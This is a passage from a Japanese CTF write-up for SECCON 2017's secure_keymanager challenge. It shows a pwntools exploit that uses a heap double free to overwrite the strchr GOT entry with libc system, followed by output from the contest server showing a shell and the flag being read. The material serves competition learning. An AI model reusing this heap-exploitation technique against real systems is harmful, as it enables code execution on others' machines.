    addr_libc_mainarena     = libc.address + 0x3c4b20
    addr_libc_system        = libc.sep_function['system']
    info('addr_libc_base   = 0x{:08x}'.format(libc.address))

    note.add(0x10, '0' , '0')
    note.add(0x10, '1' , '1')
    note.add(0x20, 'a' , 'a')
    note.add(0x20, 'b' , 'b')

    note.remove(0)
    note.remove(1)
    note.remove(0)

    note.remove(2)
    note.remove(3)
    note.remove(2)

    note.add(0x10, p64(0x50) , 'x')
    note.add(0x10, '1' , '1')
    note.add(0x10, '2' , '2')

    note.add(0x20, p64(addr_libc_mainarena + 0x10) , 'y')
    note.add(0x20, 'b' , 'b')
    note.add(0x20, 'c' , 'c')
    note.add(0x20, 'd' , '\x00'*0x18+p64(addr_got_strchr-0x38)[:-1])

    note.add(0x50, '\x00', '/bin/sh\x00' + p64(addr_libc_system))

class Note:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendafter      = conn.sendafter

    def add(self, size, title, key):
        self.sendafter('>> ', '1')

        self.sendafter('...', str(size))
        self.sendafter('...', title)
        if key:
            self.sendafter('...', key)

    def remove(self, n):
        self.sendafter('>> ', '4')

        self.check_account()
        self.sendafter('...', str(n))

    def check_account(self):
        self.sendafter('>> ', self.account if self.account[0] != '\x00' else '\x00')
        if self.master[0] != '\x00':
            self.sendafter('>> ', self.master)

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========

実行するとこんな感じです.

 % ./exploit.py                  
Select Environment
['debug', 'remote', 'local'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/SECCON/2017/secure_keymanager/secure_keymanager'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to secure_keymanager.pwn.seccon.jp on port 47225: Done
[*] addr_libc_base   = 0x7f0755435000
[*] Switching to interactive mode
$ ls -al
total 44
drwxr-x--- 2 root sec_km  4096 Dec 10 01:23 .
drwxr-xr-x 6 root root    4096 Nov 28 18:36 ..
-rw-r----- 1 root sec_km   220 Sep  1  2015 .bash_logout
-rw-r----- 1 root sec_km  3771 Sep  1  2015 .bashrc
-rw-r----- 1 root sec_km   139 Dec 10 01:23 .comment
-rw-r----- 1 root sec_km   655 May 16  2017 .profile
-rw-r----- 1 root sec_km    32 Nov 23 14:45 flag.txt
-rwxr-x--- 1 root sec_km 13728 Nov 23 14:45 secure_keymanager
$ cat flag.txt
SECCON{C4n_y0u_b347_h34p_45lr?}

20分でこの解法の Exploit を書き上げました.
本来の攻撃手法は悔しいのでここでは掲載しません(死)